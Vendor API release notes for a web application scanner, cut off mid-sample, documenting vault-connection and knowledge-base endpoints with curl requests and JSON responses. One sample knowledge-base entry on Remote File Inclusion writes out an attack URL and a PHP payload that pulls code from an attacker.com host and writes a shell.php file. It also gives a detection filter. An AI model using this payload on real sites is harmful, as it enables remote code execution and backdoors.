TotalAppSec Release 2.11 | Web Application Scanning Release 1.31 API

September 30, 2026

New APIs: Vault ConnectionTAS icon

TotalAppSec now supports CyberArk Central Credential Provider vaults through a new set of Vault Connection APIs. You can create, retrieve, update, delete, search, count, and tag vault connections, and then reference a connection from an authentication record so that scans retrieve credentials from your vault at scan time rather than from stored credentials. 

New API: Create Vault Connection

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0
Method POST
JSON Schema Changes No

Creates a vault connection from the provider configuration you supply. Once the connection exists, authentication records can draw centrally managed credentials from it instead of storing passwords in Qualys.

Sample: Create Vault ConnectionSample: Create Vault Connection

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0 \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "name": "CyberArk Vault - Production",
  "description": "CyberArk vault connection for production environment",
  "reachability": "EXTERNAL",
  "tags": [
    {
      "uuid": "6472a260-1161-4dca-87ae-5611ca24f3c8"
    }
  ],
  "providerData": {
    "provider": "CyberArk CCP",
    "connectionDetails": {
      "baseUrl": "https://cyberark.prod.example.com",
      "webServicePath": "/AIMWebService/api/Accounts",
      "appId": "AppScanProdApp",
      "connectionTimeout": 30,
      "authDetails": {
        "authMode": "CLIENT_CERTIFICATE",
        "clientCertificate": "-----BEGIN CERTIFICATE-----\nMIID...\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\nMIIE...\n-----END PRIVATE KEY-----",
        "privateKeyPassphrase": "secure_passphrase",
        "caBundle": "-----BEGIN CERTIFICATE-----\nMIID...\n-----END CERTIFICATE-----",
        "verifyTls": true
      }
    },
    "variables": [
      {
        "variable": {
          "secretName": "UserName",
          "accountName": "appscan_user",
          "safe": "AppScanSafe"
        }
      },
      {
        "variable": {
          "secretName": "Content",
          "accountName": "appscan_pass",
          "safe": "AppScanSafe"
        }
      }
    ]
  }
}
'

API Response

{
  "id": 38501,
  "name": "CyberArk Vault - Production",
  "description": "CyberArk vault connection for production environment",
  "uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "tags": [
    {
      "id": 12121,
      "uuid": "6472a260-1161-4dca-87ae-5611ca24f3c8",
      "name": "Production_Apps"
    }
  ],
  "owner": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "reachability": "EXTERNAL",
  "provider": "CyberArk CCP",
  "providerData": {
    "provider": "CyberArk CCP",
    "connectionDetails": {
      "baseUrl": "https://cyberark.prod.example.com",
      "webServicePath": "/AIMWebService/api/Accounts",
      "appId": "AppScanProdApp",
      "connectionTimeout": 30,
      "authDetails": {
        "authMode": "CLIENT_CERTIFICATE",
        "verifyTls": true
      }
    },
    "variables": [
      {
        "id": 901,
        "uuid": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
        "alias": "vault_var_1",
        "variable": {
          "secretName": "UserName",
          "accountName": "appscan_user",
          "safe": "AppScanSafe"
        }
      },
      {
        "id": 902,
        "uuid": "c3d4e5f6-a7b8-9012-cdef-123456789012",
        "alias": "vault_var_2",
        "variable": {
          "secretName": "Content",
          "accountName": "appscan_pass",
          "safe": "AppScanSafe"
        }
      }
    ]
  },
  "validity": "VALID",
  "lastValidated": 1758065078000,
  "createdDate": 1758065078000,
  "updatedDate": 1758065078500,
  "createdBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "updatedBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  }
}

New API: Get Vault Connection

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/{id}
Method GET
JSON Schema Changes No

Returns a single vault connection by its numeric identifier. Use the optional fields query parameter to limit the response to the properties your integration needs. Secrets such as client certificates, private keys, and passphrases are never returned.

Input Parameters

Parameter Mandatory/Optional Data Type Description

id

Mandatory

integer

Unique numeric identifier of the vault connection

fields

Optional

string

Comma separated field names to retrieve response containing only those fields. For detail set of values available for this parameter, please see method description.
Sample: Get Vault ConnectionSample: Get Vault Connection

API Request

curl --request GET \
  --url <qualys_base_url>/rest/vaultConnection/1.0/{id} \
  --header 'authorization: Bearer <token>'

API Response

{
  "id": 38501,
  "name": "CyberArk Vault - Production",
  "description": "CyberArk vault connection for production environment",
  "uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "tags": [
    {
      "id": 12121,
      "uuid": "6472a260-1161-4dca-87ae-5611ca24f3c8",
      "name": "Production_Apps"
    }
  ],
  "owner": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "reachability": "EXTERNAL",
  "provider": "CyberArk CCP",
  "providerData": {
    "provider": "CyberArk CCP",
    "connectionDetails": {
      "baseUrl": "https://cyberark.prod.example.com",
      "webServicePath": "/AIMWebService/api/Accounts",
      "appId": "AppScanProdApp",
      "connectionTimeout": 30,
      "authDetails": {
        "authMode": "CLIENT_CERTIFICATE",
        "verifyTls": true
      }
    },
    "variables": [
      {
        "id": 901,
        "uuid": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
        "alias": "vault_var_1",
        "variable": {
          "secretName": "UserName",
          "accountName": "appscan_user",
          "safe": "AppScanSafe"
        }
      },
      {
        "id": 902,
        "uuid": "c3d4e5f6-a7b8-9012-cdef-123456789012",
        "alias": "vault_var_2",
        "variable": {
          "secretName": "Content",
          "accountName": "appscan_pass",
          "safe": "AppScanSafe"
        }
      }
    ]
  },
  "validity": "VALID",
  "lastValidated": 1758065078000,
  "createdDate": 1758065078000,
  "updatedDate": 1758065078500,
  "createdBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "updatedBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  }
}

New API: Update Vault Connection

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/{id}
Method PUT
JSON Schema Changes No

Updates the vault connection identified by id. Only the fields you send are changed; any field you omit keeps its existing value.

Input Parameters

Parameter Mandatory/Optional Data Type Description

id

Mandatory

integer

Unique numeric identifier of the vault connection
Sample: Update Vault ConnectionSample: Update Vault Connection

API Request

curl --request PUT \
  --url <qualys_base_url>/rest/vaultConnection/1.0/{id} \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "name": "CyberArk Vault - Production Updated",
  "description": "Updated description for CyberArk vault connection",
  "reachability": "INTERNAL",
  "providerData": {
    "provider": "CyberArk CCP",
    "connectionDetails": {
      "baseUrl": "https://cyberark.prod.example.com",
      "webServicePath": "/AIMWebService/api/Accounts",
      "appId": "AppScanProdApp",
      "connectionTimeout": 60,
      "authDetails": {
        "authMode": "ALLOWED_MACHINES"
      }
    }
  }
}
'

API Response

{
  "id": 38501,
  "name": "CyberArk Vault - Production Updated",
  "description": "Updated description for CyberArk vault connection",
  "uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "tags": [
    {
      "id": 12121,
      "uuid": "6472a260-1161-4dca-87ae-5611ca24f3c8",
      "name": "Production_Apps"
    }
  ],
  "owner": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "reachability": "INTERNAL",
  "provider": "CyberArk CCP",
  "providerData": {
    "provider": "CyberArk CCP",
    "connectionDetails": {
      "baseUrl": "https://cyberark.prod.example.com",
      "webServicePath": "/AIMWebService/api/Accounts",
      "appId": "AppScanProdApp",
      "connectionTimeout": 60,
      "authDetails": {
        "authMode": "ALLOWED_MACHINES"
      }
    },
    "variables": [
      {
        "id": 901,
        "uuid": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
        "alias": "vault_var_1",
        "variable": {
          "secretName": "UserName",
          "accountName": "appscan_user",
          "safe": "AppScanSafe"
        }
      }
    ]
  },
  "validity": "VALID",
  "lastValidated": 1758065078000,
  "createdDate": 1758065078000,
  "updatedDate": 1758066078500,
  "createdBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  },
  "updatedBy": {
    "id": 6565,
    "firstName": "Appsec",
    "lastName": "Qualys",
    "username": "quays_appsec"
  }
}

New API: Delete Vault Connection

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/{id}
Method DELETE
JSON Schema Changes No

Deletes the vault connection identified by id. Confirm that no authentication record still depends on the connection before you delete it.

Input Parameters

Parameter Mandatory/Optional Data Type Description

id

Mandatory

integer

Unique numeric identifier of the vault connection
Sample: Delete Vault ConnectionSample: Delete Vault Connection

API Request

curl --request DELETE \
  --url <qualys_base_url>/rest/vaultConnection/1.0/{id} \
  --header 'authorization: Bearer <token>'

API Response

{
  "entityId": 38501,
  "status": "SUCCESS"
}

New API: Search Vault Connections

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/search
Method POST
JSON Schema Changes No

Returns the vault connections that match a QQL query, with support for field selection, sort order, and page size.

Sample: Search Vault ConnectionsSample: Search Vault Connections

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0/search \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "filter": {
    "vaultConnectionQql": "vaultConnection.name: \"CyberArk Vault\""
  },
  "size": 25,
  "sortOrder": "ASC",
  "orderBy": "vaultConnection.updatedDate",
  "fields": "id,name,description,providerData,updatedDate,validity,tags"
}
'

API Response

{
  "totalElements": 2,
  "content": [
    {
      "id": 38501,
      "name": "CyberArk Vault - Production",
      "description": "CyberArk vault connection for production environment",
      "providerData": {
        "provider": "CyberArk CCP",
        "connectionDetails": {
          "baseUrl": "https://cyberark.prod.example.com",
          "webServicePath": "/AIMWebService/api/Accounts",
          "appId": "AppScanProdApp",
          "connectionTimeout": 30,
          "authDetails": {
            "authMode": "CLIENT_CERTIFICATE",
            "verifyTls": true
          }
        },
        "variables": [
          {
            "id": 901,
            "uuid": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
            "alias": "vault_var_1",
            "variable": {
              "secretName": "UserName",
              "accountName": "appscan_user",
              "safe": "AppScanSafe"
            }
          }
        ]
      },
      "tags": [
        {
          "id": 12121,
          "uuid": "6472a260-1161-4dca-87ae-5611ca24f3c8",
          "name": "Production_Apps"
        }
      ],
      "updatedDate": 1758065078500,
      "validity": "VALID"
    },
    {
      "id": 38502,
      "name": "CyberArk Vault - Dev",
      "description": "",
      "providerData": {
        "provider": "CyberArk CCP",
        "connectionDetails": {
          "baseUrl": "https://cyberark.dev.example.com",
          "webServicePath": "/AIMWebService/api/Accounts",
          "appId": "AppScanDevApp",
          "connectionTimeout": 10,
          "authDetails": {
            "authMode": "ALLOWED_MACHINES"
          }
        },
        "variables": []
      },
      "tags": [],
      "updatedDate": 1758043275230,
      "validity": "INVALID"
    }
  ]
}

New API: Count Vault Connections

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/count
Method POST
JSON Schema Changes No

Returns the number of vault connections that match a QQL query, without returning the records themselves.

Sample: Count Vault ConnectionsSample: Count Vault Connections

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0/count \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "filter": {
    "vaultConnectionQql": "vaultConnection.name: \"CyberArk Vault\""
  }
}
'

API Response

{
  "count": 5
}

New API: Add Tags to Vault Connections

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/tag/add
Method POST
JSON Schema Changes No

Assigns one or more tags to the vault connections you specify, so that connections can be grouped and scoped in the same way as other TotalAppSec assets.

Sample: Add Tags to Vault ConnectionsSample: Add Tags to Vault Connections

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0/tag/add \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "entityIds": [
    38501
  ],
  "tags": [
    {
      "id": 54678
    }
  ]
}
'

API Response

{
  "entries": [
    {
      "entityId": 38501,
      "status": "SUCCESS"
    }
  ]
}

New API: Remove Tags from Vault Connections

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/tag/remove
Method POST
JSON Schema Changes No

Removes one or more tags from the vault connections you specify.

Sample: Remove Tags from Vault ConnectionsSample: Remove Tags from Vault Connections

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0/tag/remove \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "entityIds": [
    38501
  ],
  "tags": [
    {
      "id": 54678
    }
  ]
}
'

API Response

{
  "entries": [
    {
      "entityId": 38501,
      "status": "SUCCESS"
    }
  ]
}

New API: Delete Vault Connections by Query

New or Updated APIs New
API Endpoint (New version) rest/vaultConnection/1.0/delete
Method POST
JSON Schema Changes No

Deletes every vault connection that matches a QQL query. The response reports the outcome for each connection separately, so a failure on one record does not hide the successful deletions.

Sample: Delete Vault Connections by QuerySample: Delete Vault Connections by Query

API Request

curl --request POST \
  --url <qualys_base_url>/rest/vaultConnection/1.0/delete \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "filter": {
    "vaultConnectionQql": "vaultConnection.id: 38501"
  }
}
'

API Response

{
  "entries": [
    {
      "entityId": 38501,
      "status": "SUCCESS"
    },
    {
      "entityId": 38502,
      "status": "FAILED",
      "errors": [
        {
          "code": "VC_NOT_FOUND",
          "message": "Vault connection not found"
        }
      ]
    }
  ]
}

New APIs: Knowledge BaseTAS icon

The Knowledge Base APIs are now available in the public API. You can look up QIDs, search and count knowledge base entries, change or restore the severity of a QID, activate or ignore a QID, and manage custom signatures programmatically.

New API: Get Knowledge Base

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/{id}
Method GET
JSON Schema Changes No

Returns the full detail of a single knowledge base entry (QID), including its severity, CVSS scores, threat, impact, and solution text, and compliance mappings. Use the optional fields query parameter to limit the response to the properties your integration needs.

Input Parameters

Parameter Mandatory/Optional Data Type Description

id

Mandatory

integer

Unique identifier (QID) of the knowledge base entry to retrieve

fields

Optional

string

Comma separated field names to retrieve response containing only those fields. For detail set of values available for this parameter, please see method description.
Sample: Get Knowledge BaseSample: Get Knowledge Base

API Request

curl --request GET \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/{id} \
  --header 'authorization: Bearer <token>'

API Response

{
  "id": 150057,
  "qid": 150057,
  "name": "Remote File Inclusion",
  "type": "CONFIRMED_VULNERABILITY",
  "threat": "Remote file inclusion, commonly know as RFI, is a technique used to exploit dynamic file include functionality provided by web applications. When such  web applications  take user input in the form of parameter value and pass them into the file include code, the application can be tricked into including remote and potentially malicious file. RFI attack allows an attacker to force the vulnerable application to run its own malicious code by including a reference pointer to code from a URL located on a remote computer.  Any web application framework or scripting language that support file inclusion is potentially vulnerable to RFI.<P>\n\nExample:<BR>\nPHP is particularly susceptible to RFI attacks due to the extensive use of &quot;file includes&quot; in language and due to default server configurations. We will use PHP for the example as most of the RFI attacks against web applications are built on the server-side PHP scripting. In the following example the web application uses page parameter to work out which page should be displayed.\n\n&lt;?php $file =$_GET['page']; //The page to be displayed\n include($file);\n?&gt;\n\nAn attacker can do something like the following:\nhttp://www.foo.com/index.php?page=http://www.attacker.com/evilscript.txt?\n\nThe contents of evilscript.txt are:\n&lt;?php $file=fopen('./shell.php','w');\n   fwrite($file,file_get_contents('http://www.attacker.com/exploit.txt'));\n   fclose($file);\n?&gt;\n\nThe following happens on the server side code:\n\n&lt;?php $file =&quot;http://www.attacker.com/evilscript.txt?&quot;; //$_GET['page'];\n include($file); //$file is the attacker's script\n?&gt;\n\nThus the attacker managed to get their code executed on the remote computer.",
  "impact": "Using RFI an attacker can deface web applications, get access to the server and install a backdoor. An attacker can take control of the victim's computer by extracting technical information and executing arbitrary code including commands that affects the operating system and databases. RFI can also be used to execute a malicious code on the victim's computer which can manipulate the content of the response sent to the client, for example the attacker can embed  javascript to steal the client session cookies. To summarize,  RFI  attack can lead to as minimal as printing the output of the file or it can be as severe as the following:<P>\n\n1. Denial of Service<BR>\n2. Malicious Code execution on the web server which might lead to the entire system compromise<BR>\n3. Data Theft and Manipulation<BR>\n4. Arbitrary Code execution on the client-side such as JavaScript which can lead to other attacks like XSS",
  "solution": "RFI is a result of allowing insecure data into a secure context. The best way to prevent the attack is to never accept an arbitrary input data in a file include request. Taking the aforementioned example, a more secure way to implement the application is by using an array to map the page parameter from the link to actual file name on the server:<P>\n\n&lt;?php $farr=array( 'contact'=&gt;'contact.html','home'=&gt;'home.html');<BR>\n  if (in_array($_GET['page'],array_keys($farr))) {<BR>\n     include $farr[$_GET['page']];<BR>\n  } else {<BR>\n     include $farr['home.html'];<BR>\n }<BR>\n?&gt;<P>\n\nThis type of remediation might not be possible when the file name is not known in advance and must be passed to the script.\nOne can try to defend against the RFI attack using a filter to scrub input parameters against possible file inclusions, for e.g. add filter &quot;include\\s*\\([^)]*(ht|f)tps?:\\/\\/&quot; to detect GET /?id={${include(&quot;http://www.attacker.com/evilscript.txt&quot;)}}{${exit()}}HTTP/1.1 kind of RFI attack.\nIt's a good practice to set allow_url_include and allow_url_fopen PHP directives to false in php.ini file.<P>\n \nReferences:<BR>\nhttps://us3.php.net/manual/en/ini.core.php#ini.register-globals<BR>\nhttps://php.net/manual/en/filesystem.configuration.php",
  "supportedBy": [
    "API Security",
    "WAS"
  ],
  "severity": 5,
  "originalSeverity": 5,
  "cvss3Base": 7.3,
  "cvss3Temporal": 6.9,
  "cvss3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
  "detectionScore": [
    {
      "score": 75,
      "highestContributingQID": "150057",
      "technicalAttributes": {
        "cvssScore": 7.5,
        "cvssVersion": "v2",
        "cisaKnownExploitable": false
      },
      "temporalAttributes": {
        "realThreatIndicators": "Easy_Exploit,Wormable,Unauthenticated_Exploitation,No_Patch"
      }
    }
  ],
  "category": "Web Application",
  "discoveryType": "REMOTE",
  "isPatchAvailable": false,
  "isExploitAvailable": false,
  "isMalwareAvailable": false,
  "complianceTypes": [
    "PCI"
  ],
  "cweIds": [
    "98"
  ],
  "wascCategories": [
    {
      "id": 104,
      "code": 5,
      "name": "REMOTE FILE INCLUSION",
      "url": "http://projects.webappsec.org/w/page/13246955/WASC"
    }
  ],
  "owaspCategories": [
    {
      "id": 165,
      "name": "A01: 2025 Broken Access Control"
    }
  ],
  "apiOwaspCategories": [
    {
      "id": 10010,
      "name": "Unsafe Consumption of APIs"
    }
  ],
  "complianceInfos": [
    {
      "cid": 77,
      "qid": 150057,
      "complianceType": "PCI",
      "section": "DSS",
      "description": "Help organizations to ensure the safe handling of cardholder information at every step.",
      "language": "EN"
    }
  ],
  "isIgnored": false,
  "isCustomQid": false,
  "updatedDate": 1589847550000
}

New API: Search Knowledge Base

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/search
Method POST
JSON Schema Changes No

Returns the knowledge base entries that match a QQL query, with support for field selection, sorting, and scroll-based pagination for large result sets. When you omit the fields parameter, the response returns a default set of fields; when specified, only the selected fields are returned.

Sample: Search Knowledge BaseSample: Search Knowledge Base

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/search \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "filter": {
    "knowledgeBaseQql": "vulnDef.owaspTopTen.name: `A02: 2025 Security Misconfiguration` and vulnDef.severity: 5"
  }
}
'

API Response

{
  "totalElements": 26,
  "scrollInfo": "eyJwYWdlIjoxLCJzaXplIjo1MH0=",
  "content": [
    {
      "qid": 11942,
      "name": "Drupal Core Remote Code Execution Vulnerability (SA-CORE-2018-002)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "ETM",
        "VM",
        "WAS"
      ],
      "severity": 5,
      "category": "CGI",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": true
    },
    {
      "qid": 150127,
      "name": "Apache Struts ClassLoader Manipulation Security Bypass Vulnerability (S2-020, S2-021)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 150680,
      "name": "Apache Spark Improper Privilege Management (CVE-2023-22946)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 150762,
      "name": "WordPress Elementor Plugin: Arbitrary File Upload Vulnerability (CVE-2023-48777)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 150784,
      "name": "Jenkins Arbitrary File Read Vulnerability (CVE-2024-23897)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": true
    },
    {
      "qid": 151063,
      "name": "Billboard.js Prototype Pollution Vulnerability (CVE-2025-49223)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 152055,
      "name": "Spring Cloud Data Flow Remote Code Execution Vulnerability (CVE-2024-37084)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 152104,
      "name": "Adobe Magento XML External Entity (XXE) Vulnerability (CVE-2024-34102)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 152345,
      "name": "CyberPanel Remote Code Execution (RCE) Vulnerability (CVE-2024-51567)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": true
    },
    {
      "qid": 152362,
      "name": "Ollama ZIP Archive Directory Traversal Vulnerability (CVE-2024-45436)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 152482,
      "name": "Veeam Service Provider Console Remote Code Execution (RCE) Vulnerability (CVE-2024-42448)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": true
    },
    {
      "qid": 152536,
      "name": "Apache Tomcat Remote Code Execution (RCE) Vulnerability (CVE-2024-50379)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 520073,
      "name": "Squid Buffer Overflow Vulnerability (CVE-2025-54574)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 520075,
      "name": "Liferay Portal Open Membership Default Vulnerability (CVE-2025-43797)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 530080,
      "name": "DeepJavaLibrary Path Traversal Vulnerability (CVE-2025-0851)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 530081,
      "name": "DeepJavaLibrary Path Traversal Vulnerability (CVE-2024-37902)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 530127,
      "name": "WSO2 API Manager XML External Entity (XXE) Vulnerability (CVE-2025-2905)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 530128,
      "name": "WSO2 API Manager Default Credentials",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": false,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 530191,
      "name": "GeoServer XML External Entity (XXE) Processing Vulnerability (CVE-2025-30220)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 530208,
      "name": "FortiMail Stack-based Buffer Overflow Vulnerability (CVE-2025-32756)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": true
    },
    {
      "qid": 530266,
      "name": "Adobe ColdFusion XML External Entity (XXE) Vulnerabilities (CVE-2025-49535,CVE-2025-49539,CVE-2025-49544)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 530354,
      "name": "Hashicorp Vault Code Execution Vulnerability (CVE-2025-6000)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 530393,
      "name": "Adobe Experience Manager Forms Code Execution Vulnerability (CVE-2025-54253)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    },
    {
      "qid": 530627,
      "name": "Authentik OAuth2 Provider Improper Redirect URI Validation (CVE-2024-52289)",
      "type": "POTENTIAL_VULNERABILITY",
      "supportedBy": [
        "API Security",
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE_AUTHENTICATED",
      "authenticationType": "FORM",
      "isPatchAvailable": true,
      "isExploitAvailable": false,
      "isMalwareAvailable": false
    },
    {
      "qid": 530774,
      "name": "GeoServer XML External Entity (XXE) Processing Vulnerability (CVE-2025-58360)",
      "type": "CONFIRMED_VULNERABILITY",
      "supportedBy": [
        "WAS"
      ],
      "severity": 5,
      "category": "Web Application",
      "discoveryType": "REMOTE",
      "isPatchAvailable": true,
      "isExploitAvailable": true,
      "isMalwareAvailable": false
    }
  ]
}

New API: Count Knowledge Base

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/count
Method POST
JSON Schema Changes No

Returns the number of knowledge base entries that match a QQL query. Omit the query to get the total count of all knowledge base entries.

Sample: Count Knowledge BaseSample: Count Knowledge Base

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/count \
  --header 'authorization: Bearer <token>' \
  --header 'content-type: application/json' \
  --data '
{
  "filter": {
    "knowledgeBaseQql": "vulnDef.owaspTopTen.name: `A02: 2025 Security Misconfiguration` and vulnDef.severity: 5"
  }
}
'

API Response

{
  "count": 26
}

New API: Edit Severity of QID

New or Updated APIs New
API Endpoint (New version) rest/knowledgeBase/1.0/edit
Method POST
JSON Schema Changes No

Overrides the severity of one or more QIDs with a custom value and a justification comment. The custom severity replaces the default Qualys-assigned severity in findings and reports for affected applications, until it is restored.

Sample: Edit Severity of QIDSample: Edit Severity of QID

API Request

curl --request POST \
  --url <qualys_base_url>/rest/knowledgeBase/1.0/edit \
